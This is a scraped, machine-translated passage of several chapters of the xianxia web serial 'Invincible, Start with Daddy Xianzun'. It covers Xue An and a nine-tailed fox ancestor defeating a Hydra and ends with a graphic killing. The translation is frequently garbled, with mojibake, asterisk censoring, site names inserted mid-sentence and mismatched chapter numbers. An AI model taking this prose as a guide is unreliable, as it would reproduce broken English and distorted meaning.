    But Hydra just smiled coldly at this, and didn''t even dodge, because in the next second, all the aura and the will of the heavens disappeared like a dream.


    Nian-nian was a little surprised, this was the first time her attack failed.


    Hydra Jiejie laughed strangely, "It''s useless, all attacks will fail after being used on me once. This is impossible for anyone to crack, so you should accept your fate, hahahaha!"


    But at this moment, Xue An raised his hand and quickly painted in the air.


    Hydra was taken aback, "What are you writing?"


    Xue An did not speak, but made the last point in the air.


    boom!


    A golden light flashed, and a complex and extremely complicated seal appeared in the air.


    At that moment, Fu Cheng immediately blasted towards Hydra.


    The Hydra was caught off guard, and before he could even react, he was printed on his chest by the seal.


    Bang!


    Hydra was directly blown away, and after standing still, the whole person was in a panic, and couldn''t help but roared, "What is this?"


    "Fu Zhuan!" Xue An said lightly.


    "Fu Zhuan? You hit me with Fu Zhuan?" Hydra was shaking with anger.


    When he reached his realm, all the Fuzhuan had become a trail.


    Because any Fu Zhuan communicates with heaven and earth in some way, and uses the power of heaven and earth for their own use.


    But does the power of the emperor still need to borrow the power of heaven and earth?


    It''s not an exaggeration, if he shows his body, a star can be wiped out with a single click.


    Therefore, in Hydra''s view, it was a shame that Xue An beat himself with a talisman seal.


    Xue An just smiled at this, "Yes, just hit you with talisman seals. After all, you are all capable of my ability now. Only these talisman seals exist in my mind~www.novelhall.com ~You can''t even imitate my memory, right?"


    Fox Ye patted his thigh, "Fuck, Mrs. Xue is **** witty, why didn''t I expect it before?"


    Hydra stared at Xue An gloomily, and then smiled gloomily, "Okay! Very good! Xue An, you really surprise me more and more."


    "But everything should be over now! Because when your talisman is always used up, then it will be your death date!"


    After that, Hydra rushed forward with a grim face.


    Xue An raised his hand and wrote another talisman in the air, waved and blasted towards Hydra.


    Hydra was forced to flash away, and at the same time Xue An smiled faintly, "Used up? Haha, then you will be disappointed, because the talisman I know can''t be used up!"


    For the convenience of reading next time, you can click "Favorites" below to record this time (Chapter 1890 takes your way, so you have nowhere to go (first update)). To!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1886： I dont know it when I die

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    While talking, Xue An raised his hands, opened his bow left and right, and directly drew two completely different characters.


    In an instant, the talisman light in the sky flickered and the sound shook the sky. Hydra was forced to retreat again and again, and he could not get close to Xue An''s body.


    Because Xue An''s move can be described as a perfect hit on his death hole.


    Can''t you be immune to the second attack?


    Well, now I will all use brand-new Fuzhuan to deal with you, so that you can''t be immune to it at all.


    Anyway, the way of Fu Zhuan is ever-changing, and often a change that is too subtle to be subtle will produce completely different effects.


    So as long as Xue An is willing, he can even fight like this for ten days without repetition.


    But at this moment, Hydra suddenly grinned, "Xue An, don''t you want to consume with me? Well, then I have to see who can afford to consume!"


    As he said, he waved his hand violently, and countless sword lights appeared in the air, and then went straight to the people on the ground.


    Seeing that, the **** Fox Ye Ji Lingling had a cold war, and then shouted, "Go back! Everyone back!"


    He knew the strength of the sword intent of Red Lotus, so after shouting, he immediately rushed forward and guarded the three Anyan mother and daughter behind him.


    Ding Ding Ding.


    With a crisp sound like raindrops, Jianmang confronted the Qingqiu Fox Country and the Dragon Clan people.


    Ao Yi, who is guarding the outermost periphery, bears the brunt, a piece of scale armor on his body is directly penetrated by the sword light, revealing the dense white bones below.


    Ao Yi snorted, but did not retreat, because as soon as she retreats, many fox tribes in Qingqiu Fox Country might have been killed on the spot.


    At this moment, a turquoise flame flew swiftly, and instantly burned the sword lights that had hit Ao Yi.


    Ao Yi turned his head to look, but saw that the blue bird that A Rou had transformed was hovering not far behind her, and nodded slightly when she saw her looking over.


    Ao Yi was taken aback, then smiled and nodded.


    The first wave of attacks was finally over, but it didn''t wait for everyone to breathe a sigh of relief.


    The Hydra in mid-air laughed strangely, "How about Xue An? Is this performance still satisfactory? Believe it or not that the next wave of attacks will be more violent than this time? I see how much more energy you consume. time!"


    Amidst the strange laughter, Hydra waved his hand again, and countless sword lights rained down again.


    Everyone exclaimed.


    But at this moment, a figure suddenly appeared in front of Jianmang, abruptly blocking all attacks.


    It''s Xue An!


    It''s just that Xue An''s complexion became extremely pale at this time, his hands hung to the left and right, and the blood slowly dripped down his wrists, apparently already suffering a serious injury.


    "Husband!" An Yan felt that her heart was going to be broken, and she wished to replace her.


    When Hydra saw this, he laughed in excitement, "Hahaha, the surname is Xue, why don''t you use it?"


    Xue An was expressionless, just looking at Hydra with cold eyes, as if looking at a dead person.


    Hydra was trembling with excitement, "You know what? I like your look like you want to kill me but can''t help me, because it makes me feel very fulfilled!"


    Xue Anyu said coldly: "Really? Then I also like your kind of stupidity that you don''t know when you die."


    After all, Xue An rushed forward again, and then raised his hand with a punch.


    Hydra didn''t even hide, and sneered: "I said, all your attacks are not against me..."


    But before he could finish speaking, Xue An''s fist hit his face heavily.


    The golden light flashed, and the Hydra was blasted into a direct flight, flipped its head in the air and flew out.


    "Ah, ah, ah, whose surname is Xue, you actually put a seal on your fist?" The Hydra roared in midair.


    Xue An shook his fists, and the talisman on it was changed instantly, and said lightly: "What? Is there a problem?" Xiaotao Chinese


    Hydra is going crazy.


    He had never encountered a difficult opponent like Xue An.


    "This is what you forced me!" Hydra''s eyes were red, urging the whole body''s cultivation, all turned into a punch, and it went straight to Xue An.


    This punch combines all the abilities that Hydra can imitate, the magical power of causality, the sword intent of the red lotus, and even the seventh form of the six forms of killing the gods. It can be said that the gods block the gods and the Buddhas.


    Everyone''s hearts instantly mentioned their throats.


    Hu Ye whispered softly, "Old Xue, how should you deal with this?"


    But in the next second, everyone fell through their glasses.


    Because just when the punch hit halfway, Xue An suddenly turned around and ran towards the Sansheng Tree in the distance.


    "Fuck, Old Xue actually ran away?" Hu Ye exclaimed.


    At the same time, Hydra grinned, "Want to run? It''s not that easy!"


    After that, he chased after him.


    The Sansheng Tree is about tens of millions of miles away from this planet, but at the speed of the two of them, it is only a short time.


    Suddenly.


    Xue An stopped in front of the Sansheng Tree.


    Hydra Jiejie smiled strangely: "Now I see where you are going, die for me!"


    With that, he raised his fist and blasted towards Xue An.


    But Xue An didn''t even turn his head. Instead, he raised his head and looked at this extremely tall Sansheng tree, and said lightly: "What? Are you still refusing to show up at this time? How calm are you Angry!"


    The sound was not loud, but it reached Hydra''s ears.


    He was startled, and he didn''t understand what Xue An meant.


    But now that the fist is halfway through, seeing that Xue An is about to be crushed, he naturally refuses to give up, so he sneered a few times.


    "It''s useless to say anything, die for me!"


    The fist is like a great dragon, rushing towards Xue An with the supreme power.


    Xue An frowned slightly, "Still pretending to be dead? That''s fine! Then I will make you sober!"


    After all, Xue An turned slightly to his side in the inconvenient time, and avoided the punch so wonderfully.


    Hydra missed a punch, but at this time he could no longer stop the car, so he could only blast directly at the Sansheng tree in front of him.


    Click!


    Cracks began to appear on the trunk of Sanshengshu.


    At this moment, I only heard someone sigh faintly, "The young people nowadays really don''t know how to respect the old and love the young!"


    With the voice a snow-white foxtail suddenly appeared in the void, and then lightly blocked the punch of Hydra.


    Bang.


    The fist exploded, and the foxtail just trembled.


    Hydra took three steps back.


    Immediately afterwards, I saw a huge branch growing out of the Sansheng Tree, and on the branch sat a young fox clan with an extremely handsome face and two slender fox ears.


    As soon as the boy appeared, he barked his teeth at Xue An.


    "Honglian Immortal Venerable, I really didn''t expect you to be so embarrassed!"


    And with the voice, behind him, there were nine foxtails dangling in the wind.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1891 is imminent without knowing it (second more)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1887： Kneel down and kowtow, I am your ancestor

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    "Embarrassed?" Xue An shook his head and chuckled lightly, and then said lightly: "If I am not like this, how can I force you to take action?"


    The fox youth''s face turned black all at once, and he said very depressed, "Okay! You did it on purpose, no wonder you led this guy to run to me!"


    "Nonsense, this is your fox clan''s business, who will do it if you don''t?"


    "But the old man is already this age, don''t you know how to be compassionate? I really don''t know how to respect the old and love the young!" The fox youth had an expression of unfaithfulness.


    Xue An looked at him coldly, "Respect the old and love the young? Don''t you feel bad when you say this?"


    "Losing? What is it? That''s how it is, how old am I? You are still trying to calculate me."


    A handsome and virgin young man who looked only seventeen or eighteen years old opened his mouth, and the old man closed his mouth and was awkward.


    Xue An was silent for a moment, then bowed his hand, "Farewell!"


    Turn around and leave.


    Now it��s the Fox teenager��s turn to be anxious, so he hurriedly changed to a smiling face, "Hey, Xiaohong, why are you so ignorant of teasing! The old man is playing around with you, look at you, Why are you still anxious?"


    Xue An stopped abruptly, took a deep breath, turned around slowly, and asked in an extremely cold tone: "What did you call me just now?"


    "Xiaohong? What''s wrong?" The fox youth said with a grin, "Aren''t you called the Red Lotus Immortal Venerable? I look kinder when I call it that way."


    "You''re Xiaohong, your whole family is Xiaohong, is my **** name Xue okay?" Xue An said angrily, even with dirty words due to excessive excitement.


    "Oh! It turned out to be Xue!" The fox youth nodded, and then said in a questioning tone: "Then what do I call you? Xue Xiaohong?"


    Xue An stood on the spot, eyes full of shock and confusion. He didn''t react until a moment later, and then almost squirted a mouthful of blood, his face was instantly pale with anger.


    Seeing this, the fox boy couldn''t help laughing, "It''s OK, I''m playing with you, you look serious."


    With his laughter, the whole Sansheng tree trembles.


    The space was stirred up like the surface of the water with layers of ripples, extending into the depths of the void.


    Seeing this scene, the Hydra, who was already fully alert, instantly shrank its pupils to the size of a needle.


    Because he felt an indescribable vastness from this fox clan, just like the glow of fireflies facing a round of bright moon, making him feel so small.


    At the same time, Huye and others also rushed over.


    But when they just rushed into the court, they were all stunned before they had time to speak.


    "Nine...Nine-tailed Heavenly Fox?" Hu Ye couldn''t believe her eyes, and whispered with a dull face.


    No wonder he was so surprised.


    This scene is really incredible.


    You must know that the Qingqiu fox clan is the bloodline of **** beasts inherited from ancient times, and the strength is divided according to the number of foxtails.


    The average fox clan can reach five tails, even if it is strong, while the pure pedigree fox clan can reach six or even seven tails.


    For example, Hu Ye, he was promoted to Seven-Tailed Heavenly Fox when he was proving Dao Immortal King. He was the youngest person to be promoted to Seven-Tailed Heavenly Fox in the history of Qingqiu Fox Country.


    But later, because of the battle on the earth and the previous battle, Fox Night consumed two tails, and now only five tails remain.


    In the Qingqiu fox country, the number of foxtails is the most, that is, the strongest is the previous great elder.


    He has been promoted to the eight-tailed celestial fox, and he is only one step away from growing a nine-tailed fox and becoming a true nine-tailed celestial fox.


    It is a pity that this difference is like a moat. Fate Novel


    Until the great elder decayed, and finally fell, he failed to make the last step.


    This also shows how difficult it is to be promoted to the nine tails.


    In fact, in the historical records of the fox clan, only a few people can be promoted to the nine tails.


    That''s why Huye was so excited after seeing this young man.


    At the same time, the fox youth took a look at Fox Ye, smiled slightly, and then said, "Kneel down and kowtow, I am your ancestor!"


    In other words, it seemed to be cursing when other people said it, but the boy seemed so natural when he said it.


    Moreover, Hu Ye was really obedient, his knees softened, and he fell to his knees in the void with a plop.


    Not only him, including the Fox Punishment, all the Qingqiu Fox Clan knelt to the ground frantically.


    Some fox tribes were trembling with excitement.


    For them, to see the existence of the nine-tailed celestial fox in their lifetime is nothing short of regret.


    Facing the kneeling fox clan, the young man turned his head and said to Xue An, "How about Red Lotus Immortal Venerable? Do you think I''m bullish?"


    Xue An shook his head and said firmly: "Don''t look!"


    The fox youth was slightly startled, and then he reacted. He narrowed his mouth quite depressed, and muttered in a low voice: "I wiped it, I was careless, I was actually played."


    At this moment, the Hydra was silently hiding in the depths of the void.


    He knows very well that if he and Xue An fight alone, the winning rate is 50-50. Coupled with the characteristic of being able to regenerate, it can be said that there is no loss in blood.


    But if you add this fox boy from unknown origin, the outcome will be unpredictable.


    Regardless of him as a strange beast, he is more cautious than anyone else.


    So for the sake of safety, he decided to step down first. As for other things, it''s never too late to talk about it later.


    But before he could withdraw from Baizhangyuan, the fox youth suddenly turned his head and barked his teeth for joy.


    "Are you planning to leave like this?"


    Hydra shook all over, but soon calmed down, and then sneered: "Then what do you want?"


    The voice did not finish, but seeing the fox youth slowly standing up, he stretched his waist lazily, and then said in a tired voice.


    "You led a large army to invade with the intention of destroying my ethnic group. Is this the case?"


    Hearing his words, many people subconsciously looked at the kneeling Fox Ye.


    No one is really because the tone and accent of this speech are too like Fox Night.


    The same exhaustion, the same cynical, and even the past.


    The long elder of the dragon clan couldn''t help muttering in a low voice: "I now understand why the son of the fox country was so confused before. It turns out that this thing is inherited from the family!"


    At this moment, in the face of the boy''s questioning, Hydra''s complexion gradually darkened, and he said coldly: "Oh? According to you, are you planning to touch it?"


    Although Hydra wanted to leave out of caution, it didn''t mean that he was really scared. At least when faced with these words, he did not give in the slightest.


    Upon hearing this, the fox teenager opened his mouth wide and smiled brilliantly.


    "You are wrong, I just want to kill you, it''s that simple!"


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 1892, kneel down and kowtow, I am your ancestor (first update)). You can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1888： 9-tailed celestial fox reverses 3 lives

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    Hydra seemed to have heard some great joke, first was taken aback, then looked up to the sky and laughed.


    The fox teenager didn''t speak either, just watched with a smile.


    Xue An even picked up his shoulders altogether, thinking about something in his spare time.


    After a while, Hydra''s laughter gradually ceased, and then said in an extremely cold tone: "Kill me? Do you know what you are talking about?"


    "I am the real immortal. No attack can be performed on me twice. Do you still want to kill me? Are you funny?"


    "Is it funny? I don''t think! What about you?" The fox youth looked at Xue An with a smile.


    Xue An did not speak, but shook his head.


    "Look, even Red Lotus Immortal Venerable doesn''t think there is anything funny. Why do you say you giggled? Is your brain sick?"


    There was a hint of anger in Hydra''s eyes, "Death!"


    As he said, he waved his hand and cut out a sword intent.


    But before this sword intent rushed halfway, it was smashed by a white foxtail, and then the foxtail flexibly turned in a circle in the air, like a whip, shining like a hydra Smoked.


    Hydra raised his hand to block it, but the strange thing was that this foxtail instantly accelerated when he raised his hand, and was drawn on his face for a period of time.


    Snapped!


    There was a very crisp and extremely explosive sound.


    The Hydra was flew out by chance, so strong that it left a bloodline behind him.


    After finally landing and standing firmly, look at the Hydra at this time, and it has changed its appearance.


    The face that resembled Xue An has disappeared, replaced by a **** face.


    Even the head was squashed, and the brain was dripping down the crack in the skull.


    The audience was shocked.


    Xue An smiled faintly as if he had expected it, and then took a half step back.


    at the same time.


    The Hydra raised his hand to straighten his head forcefully, his **** eyes fixed on the fox youth, and said in a difficult and unpleasant voice: "The power of rules?"


    The fox boy smiled, "It''s quite knowledgeable! Yes, it is the power of rules! The tail that hit you just now blends with the rules of 100% of the face, how about it? Great!"


    Everyone heard it like falling into a cloud and mist, and they didn''t understand what it meant.


    Only a small number of people were shocked and awed.


    Because can integrate the power of rules, and even use it as a weapon, only the top Immortal Emperor powerhouse.


    "Nine-tailed celestial fox, immortal emperor strong..." The fox lobster, who is well-known among the fox clan, whispered softly, and suddenly trembled and exclaimed.


    "It''s Huhuan, you are the elder Huhuan?"


    The fox boy smiled at her, "The little girl actually knows me in the film?"


    This time, the entire Qingqiu Fox Clan was shocked.


    Some fox tribes burst into tears with excitement.


    Because this Fox Huan is very famous among the fox family, he is the first elder of the Qingqiu Fox Country, and also the first nine-tailed celestial fox. Various deeds have been passed down through the ages and have become a myth. .


    Because of this, he is also called the fox ancestor by the entire Qingqiu Fox Country.


    But as early as thousands of years ago, this Fox Huan had disappeared. Qingqiu Fox Country had spent countless energy searching for him, but eventually all returned without success.


    Later, people gave up, thinking that Huhuan must have fallen somewhere.


    But never expected that he would suddenly appear in front of everyone today.


    at the same time.


    The wound on the Hydra''s face was healing at a crazy speed, and there was a solemn color in his eyes.


    "Since you are a strong immortal emperor, then I apologize for what I have done before. From now on, our well water will not violate the river water, what do you think?"


    Hydra spoke very frankly, without the slightest hint of shyness.


    This is how things are. Seven Realms Novel Network


    You didn''t have the strength to protect yourself before, then I will rob you.


    Now that you have it, then I am sorry.


    This seems reasonable to Hydra.


    But Huhuan obviously didn''t buy it, and saw him smile faintly, "The water in the well does not offend the river? What if I don''t want it?"


    "Unwilling?" Hydra didn''t expect Huhuan to refuse.


    You should know that in the heavens, it is rare to hear the immortal emperor''s hands, and even the immortal king''s hands are not many.


    After all, when he reached this state, he was already one of the top figures in the heavens, so naturally he didn''t need to use his swords and guns anymore.


    And once you do it, it may be both sides.


    Therefore, even if there are contradictions, the strong in this realm should try to restrain themselves, and will not take action unless it is a last resort.


    "Of course not!" Hu Huan said lightly.


    "Hehe, nine-tailed fox, I hope you can understand one thing. I''m sorry just to show respect to you. It doesn''t mean that I am afraid of you, let alone..."


    A dangerous brilliance appeared in Hydra''s eyes, "You can''t kill me at all!"


    Huhuan laughed, but didn''t answer Hydra''s words directly. Instead, he turned to Xue An and said, "Hey, why don''t you say a word?"


    "What am I talking about? This was originally your fox clan''s business!" Xue An said with a look of surprise.


    "You guy, it''s so slippery!" Huhuan snorted with a smile, and suddenly said with a serious face: "Do you think I can kill him?"


    Xue An shook his head, "You can''t!"


    The smile on Hydra''s face instantly became brilliant.


    But Xue An immediately pointed to the huge three-life tree in front of him, and said lightly: "But adding it should be fine!"


    Huhuan laughed loudly, "It seems that you have thought of it a long time ago. What an awesome young man!"


    Everyone did not understand what it meant.


    On the contrary, Ao Yi lowered his eyes and said lightly: "This Hydra is dead!"


    "Why?" The long elder asked curiously.


    "Because..." Ao Yi''s eyes showed a magnificent color, "The meaning of the three-life tree is rebirth!"


    To rebirth is to be born again.


    Wanting to understand this, the Dragon Clan Great Elder finally realized.


    Hydra did not understand.


    But he doesn''t need to understand.


    Because at this moment, the nine tails behind Hu Huan instantly rose up and rushed towards the Hydra.


    Hydra roared, and also took out his strongest strength, countless tentacles rushed out, and he was about to fight Hu Huan to the death.


    This war ended sooner than anyone thought.


    Because at the moment when the two confronted each other, Hu Huan''s eyes were full of glory.


    "Reverse Three Lives!"


    boom!


    An order was given to The whole Sansheng tree seemed to come alive, with countless branches stretched out, and the milky white brilliance covered all the stars in a radius of tens of thousands of miles.


    Hydra understood in an instant, and then screamed, "Ah, ah, ah, forcibly reborn me! You guys wait for me, this thing is just beginning..."


    Words fall.


    Guanghua flashed instantly, and the extremely violent power swept across the entire star field in an instant.


    But everyone was safe, because Huhuan used a fox tail to protect everyone.


    Then he turned his head and looked at Xue An solemnly.


    "How did this guy run away?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 1893 Nine-Tailed Tianhu Reversal of the Three Lives (Second)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1889： Angry into anger

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    really.


    When the brilliance dissipated, the front became empty, not even a trace of Hydra had existed.


    Xue An did not respond to Hu Huan''s words, but took a step forward, pinching a symbol in each of his hands, and pressing directly into the void.


    boom!


    The void trembles endlessly, and then faintly heard a terrible cry from it.


    "Ah ah ah, Xue An, I will swear by you!"


    "Okay! I''m waiting!" Xue An replied blankly, and then pointed at the void in front of him.


    The turbulent void was forcibly stopped in an instant.


    Upon seeing this, Huhuan couldn''t help but a look of surprise appeared in his eyes.


    Because Xue An''s strength now has far exceeded his imagination.


    Only then did he believe that what Xue An said before was not a lie.


    He might really have deliberately brought Hydra to come, in order to stimulate himself out.


    Otherwise, with this magical method, even if you can''t kill the Hydra, you won''t lose.


    Finally, everything returned to silence.


    Then Xue An glanced at Huhuan and said lightly: "I don''t know the origin of it now, but at least one thing is known. He looks like a monster, not a monster, and is absolutely extraordinary."


    "Similar to a demon, not a demon..." Hu Huan whispered softly several times, and then said coldly.


    "Humph! Even though a piece of divine sense ran away, but you were enough for him just now."


    at the same time.


    All those who watched this scene, whether they were there or not, all boiled over it.


    Because this incident is simply a huge reversal.


    At first, everyone thought that the Red Lotus Immortal Venerable would definitely die, but never expected that a nine-tailed celestial fox would pop out at the most critical moment and blast the hydra directly.


    This is like a bomb, shocking everyone.


    The eyes of many monsters looking at the Qingqiu Fox Country have changed.


    Before many monster races thought that without the guard of the great elder, this Qingqiu fox country will be in a state of failure.


    This is also the reason why many monster races are sitting idly by in the face of Tiandaozong''s offensive.


    Unexpectedly, the reality gave these monsters a resounding slap in the face.


    What if there is no great elder?


    Now there is a nine-tailed celestial fox more powerful than the great elder, and the power of this Qingqiu fox country is bound to be unstoppable.


    At this point, many monsters regretted vomiting blood.


    In the fire mouse clan, Huo Yaojing and many elders of the fire mouse clan stared blankly at the picture in the water mirror.


    After a while, Huo Yaojing''s body shook all over, and she woke up from the infinite shock, and then screamed, "No! This is impossible! How could things become like this?"


    The voice was full of hysterical anger, regret and even climbed onto her cheek, making her face extremely distorted.


    The rest of the Fire Rat Clan elders glanced at each other, all saw the resentment in each other''s eyes, and then nodded together. The only Chinese website


    One of the elders suddenly took a few steps forward and said coldly: "Huo Yaojing, shut up!"


    But Huo Yaojing, who was already on the verge of madness, could not hear these words, she was still yelling.


    The elder snorted coldly, took a step forward, and slapped his hand.


    This slapped fan was extremely ruthless, and directly slapped Huo Yaojing away from her place ten feet away before falling to the ground.


    Huo Yaojing finally woke up, her hands were her swollen cheeks, and she looked at the elder in disbelief, "You...do you dare to hit me?"


    "Why don''t you dare? And I beat you!" The elder sneered, and then said: "Huo Yaojing, your mouse is short-sighted and narrow-minded. You have offended the new lord of Qingqiu, and put me into an embarrassing situation. , Its sin is to be punishable, but if you are a member of the royal family of my Fire Rat Clan, I will spare you not to die!"


    "Although the death penalty is exempt, the living sin cannot escape. Now I declare that I will deprive you of all your positions and authority, seal the repair, and send it to the fire prison to think about it!"


    The elder''s voice was as cold as frosty steel, making Huo Yaojing''s face gradually pale.


    Therefore, as soon as he finished speaking, Huo Yaojing screamed, "No! You can''t do this to me, I am the eldest princess of the Fire Rat clan!"


    But her roar couldn''t shake the minds of these elders at all. The elder waved his hand and said coldly: "Take her down!"


    Immediately several elite guards stepped forward and dragged Huo Yaojing away.


    Huo Yaojing was struggling as if she was crazy, but this elder waved his hand and all of Huo Yaojing''s cultivation was sealed.


    Huo Yaojing''s struggle instantly became weak, and these elite guards roughly dragged her away.


    Huo Yaojing wanted to cry, but when she saw the cold expressions of these elders who had always been very "kind and respectful" to her, she finally understood, and then she collapsed completely.


    "You bastards, it''s just that Qingqiu Fox''s country is strong, so all the blame is on me. Don''t forget that you all agreed to the break with Fox Ye."


    Her words made the skins of these elders a little hot.


    The elder who gave the order was even more irritated, "Block her mouth and let her dare to talk nonsense!"


    The elite guard immediately blocked Huo Yaojing''s mouth with a rag, and the words behind Huo Yaojing all turned into ambiguous sobbing.


    Soon, she was forcibly dragged away.


    After doing all this, these elders couldn''t help but let out a sigh of relief.


    "This mad woman dare to scold me and wait, if it weren''t for the blood of the ancestors flowing on her, she would have been ordered to be killed!" An elder said bitterly.


    "Yes, she is such a stupid woman."


    At this time, the elder who first spoke coldly said: "Okay, don''t talk nonsense. Now our top priority is to apologize to the Qingqiu Fox Country quickly, otherwise our entire Fire Rat Clan will be in danger of destruction. ."


    All the elders shook together, and they all dared not speak.


    "I wrote a letter immediately, saying that this whole thing was caused by Huo Yaojing, and we have now sealed her cultivation base and put it in the fire prison. The next steps to kill or kill will be Qingqiu. Fox country is the master!" The elder said with a cold face.


    "Yes!"


    And this fire rat tribe is just a microcosm of thousands of monster tribes At this moment, there are countless monster tribes thinking of various methods in panic, trying to make friendship with Qingqiu Fox Country.


    Nothing else, just fear that Qingqiu Fox Country will settle accounts after the fall because of the previous events.


    at the same time.


    Heard of Tiandaozong''s aggressive conquest, and the crowd came to see the lively.


    "I''m rubbing it, this trip is considered worth it. Not only did I see the divine power of the former Red Lotus Immortal Venerable, but I also saw the nine-tailed celestial fox, which is really shocking!"


    "Who said no, fortunately we just came to watch the excitement. If this is a hot mind, and doing stupid things with Tiandaozong, then our fate...." The speaker Ji Lingling shuddered and did not dare to go again Said next.


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 1894 is angry into anger (first update)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1890： Patty

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    The Saintess of Slaughter Temple did not say a word, but was hidden in the void, quietly looking at Xue An in the distance.


    Different from the secret rejoicing of these melon-eating people, there are still many people who are simply full of panic at the moment and regret it.


    That''s right, these people just heard about the Heavenly Dao Sect and came to fight the autumn wind to take advantage.


    Many of them have had holidays with Xue An.


    I thought that this time the Heavenly Dao Sect used the power of the whole sect to destroy Xue An.


    The result was just the opposite. The Heavenly Dao Sect''s elite was wiped out, and it had existed in name only.


    How can this not make these guys shocked and terrified.


    In fact, from the time Huhuan blasted the Hydra with one move, these people began to quietly retreat.


    Many people even tried to escape into the void, and quickly fled.


    But because of the appearance of Huhuan, the entire Qingqiu star field has been blocked.


    So these talents were horrified to find that they could not leave.


    now.


    These people all tried their best to hide their body shape and breath, for fear of attracting the attention of others.


    In my heart, I prayed silently, hoping that the Red Lotus Immortal Venerable could forget about himself.


    But things were counterproductive. When Huhuan was talking to the fox clan of the Qingqiu Fox Country, Xue An turned his head and looked towards Void, the corners of his mouth raised slightly, revealing a cold smile.


    "Since everyone is here, why don''t those who hide in hiding dare to show up?"


    As soon as this remark came out, the audience instantly quieted down.


    The fox tribes who had been noisy also followed.


    There was a thoughtful smile on Hu Huan''s face, and he whispered softly: "This kid is really a master who refuses to suffer!"


    At the same time, the void was quiet, and no one dared to speak.


    Upon seeing this, Xue An raised his eyebrows slightly, and said with a smile, "What? Do I have to name someone to show up?"


    The void remains quiet.


    Xue An smiled coldly and said slowly: "Heaven Temple, Great Hall Master Hong Yihong, with your identity, it seems that you won''t hide in the void and dare not meet people, or say... you are going to let me go and invite me personally. Are you out?"


    As soon as this statement was made, there was a commotion in the void, and then a mighty and very pale middle-aged man in golden armor appeared.


    Among the crowd of onlookers, a sharp eye recognized him, and it was Hong Yi, the lord of the Tianshen Temple.


    After he showed his figure, his eyes were full of flinching colors, and then he seemed to be thinking of something, and he hurriedly bowed to Xue Anshen, "See...I saw Master Honglian!"


    Xue An didn''t seem to see the horror on his face at all, but said indifferently: "Hall Lord Hong, your Heavenly God Temple is very far away from Qingqiu Fox Country, why did you run over?"


    Hong Yi trembled all over, and then forced a smile: "I...I''m not doing nothing, come over and see the excitement!"


    "Oh? Watching the excitement? It''s that simple?"


    "Yes, it''s that simple." Hong Yi said hurriedly, with a cold sweat on his forehead.


    Of course he didn''t come to watch the excitement, but came to seek revenge from Xue An.


    Because there was a deep holiday between him and Xue An.


    When Xue An was practising, he once ran into the young master of the Tianshen Temple, his son Hong Xi.


    Relying on his father''s power, Hong Xi was extremely arrogant and domineering. As a result, he clashed with Xue An.


    But Hong Xi, who had never suffered a loss, was kicked above the iron plate this time. Xue An didn''t eat his suit at all, and simply shot this Hong Xi to death.


    This can be said to have stabbed a hornet''s nest. Hong Xi is Hong Yi''s most important aunt. In order to train him, Hong Yi spent countless energy, and he died like this. He naturally couldn''t accept it.


    Therefore, in a rage, he came to Xue An for revenge. 139 Chinese


    result����.


    At that time, Xue An, who was not even the Immortal King, defeated him with only three moves.


    Originally, Xue An intended to directly kill him.


    But Hong Yi is much smoother than his son Hong Xi, and when he sees the momentum is not good, he immediately admits.


    When a guy who was much older than himself and whose son was still dead in his hands begged for mercy with his nose and tears, Xue An, who was still young at the time, couldn''t help but waved his compassion. So he forgave this Hong Yi.


    After Hong Yi returned, he naturally felt resentment and thought of revenge.


    But since then, Xue An''s practice has become more and more diligent, and the momentum has begun to break through all major realms.


    In just a few hundred years, he successfully broke through the realm of the immortal emperor and became the first person of the immortal sovereign.


    After this prestige spread, this Hong Yi was so scared that he immediately dispelled the thoughts in his heart, and he dared not even think of revenge anymore.


    joke!


    I am just a half-step immortal king''s dregs, go find Xianzun to take revenge, what is that not to die?


    I thought it would just pass.


    But no one thought that Xue An would fall suddenly behind him. After hearing the news, Hong Yi was almost crazy. At that time, he feasted for three days to celebrate Xue An''s death.


    And then����.


    Xue An was reborn, and the first news was to force the six immortal kings.


    Now Hong Yi was dumbfounded again.


    After so many years, he has not been able to take that step, he is still a small half-step fairy king.


    But when Xue An was reincarnated and rebuilt, he proved the Dao Immortal King again.


    The gap in this one is simply desperate.


    But Hong Yi still hadn''t thought of revenge at the time, until the news of Tiandaozong''s aggressive attack on the Qingqiu Fox Country came, he moved his mind.


    I thought that if I could take this opportunity to avenge my previous revenge, wouldn��t it be nice?


    And after taking revenge, once his heart knot was untied, he might be promoted to the Immortal King.


    With this idea, he ran over just to see if there was a chance to fish in troubled waters.


    As a result, the fish didn''t touch it, and he became a target instead.


    So Hong Yi now regrets that he can''t slap himself a few times.


    Xue An said in a calm tone at this time: "Do you think I will believe what you said?"


    Speaking of the last, a cold feeling instantly enveloped Hong Yi''s body.


    Hong Yi shook his body, and then screamed, "Guren-sama forgive me, I really just..."


    But Xue An was obviously tired of his begging for mercy, so when he raised his eyebrows, a huge power instantly fell on his head.


    boom!


    Juli hits Hong Yi''s head burst open first, followed by shoulders and chest, and finally the lower body.


    But no matter where it was, this huge force did not slow down at all, but slowly and firmly pressed down.


    Bang bang bang!


    But seeing blood splashing, flesh and blood flying across, the crisp sound of broken bones one after another.


    It was as if a piece of paper was crushed to pieces, and in the blink of an eye, Hong Yi was crushed into meatloaf by this power.


